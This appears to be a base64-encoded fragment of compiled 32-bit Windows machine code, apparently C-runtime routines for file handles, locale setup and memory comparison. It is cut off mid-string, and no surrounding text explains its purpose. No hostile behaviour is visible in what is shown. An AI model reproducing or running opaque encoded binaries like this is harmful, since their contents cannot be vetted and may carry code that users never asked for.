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U41F9GoCUOg5YAAAC/iNhkQBAABQakFTjUX0agJQ6CJgAACDxFAL+I2GSAEAAFBqQlONRfRqAlDoCGAAAAv4jYZMAQAAUGpDU41F9GoCUOjxXwAAC/iNhlABAABQaihTjUX0agJQ6NpfAAAL+I2GVAEAAFBqKVNqAluNRfRTUOjBXwAAg8RQC/iNhlgBAABQah//dfyNRfRTUOimXwAAC/iNhlwBAABQaiD/dfyNRfRTUOiOXwAAgcZgAQAAVmgDEAAA/3X8C/iNRfRTUOhzXwAAg8Q8C8dfXlvJw4v/VYvsVot1CIX2D4RjAwAA/3YE6KhX////dgjooFf///92DOiYV////3YQ6JBX////dhToiFf///92GOiAV////zboeVf///92IOhxV////3Yk6GlX////dijoYVf///92LOhZV////3Yw6FFX////djToSVf///92HOhBV////3Y46DlX////djzoMVf//4PEQP92QOgmV////3ZE6B5X////dkjoFlf///92TOgOV////3ZQ6AZX////dlTo/lb///92WOj2Vv///3Zc6O5W////dmDo5lb///92ZOjeVv///3Zo6NZW////dmzozlb///92cOjGVv///3Z06L5W////dnjotlb///92fOiuVv//g8RA/7aAAAAA6KBW////toQAAADolVb///+2iAAAAOiKVv///7aMAAAA6H9W////tpAAAADodFb///+2lAAAAOhpVv///7aYAAAA6F5W////tpwAAADoU1b///+2oAAAAOhIVv///7akAAAA6D1W////tqgAAADoMlb///+2vAAAAOgnVv///7bAAAAA6BxW////tsQAAADoEVb///+2yAAAAOgGVv///7bMAAAA6PtV//+DxED/ttAAAADo7VX///+2uAAAAOjiVf///7bYAAAA6NdV////ttwAAADozFX///+24AAAAOjBVf///7bkAAAA6LZV////tugAAADoq1X///+27AAAAOigVf///7bUAAAA6JVV////tvAAAADoilX///+29AAAAOh/Vf///7b4AAAA6HRV////tvwAAADoaVX///+2AAEAAOheVf///7YEAQAA6FNV////tggBAADoSFX//4PEQP+2DAEAAOg6Vf///7YQAQAA6C9V////thQBAADoJFX///+2GAEAAOgZVf//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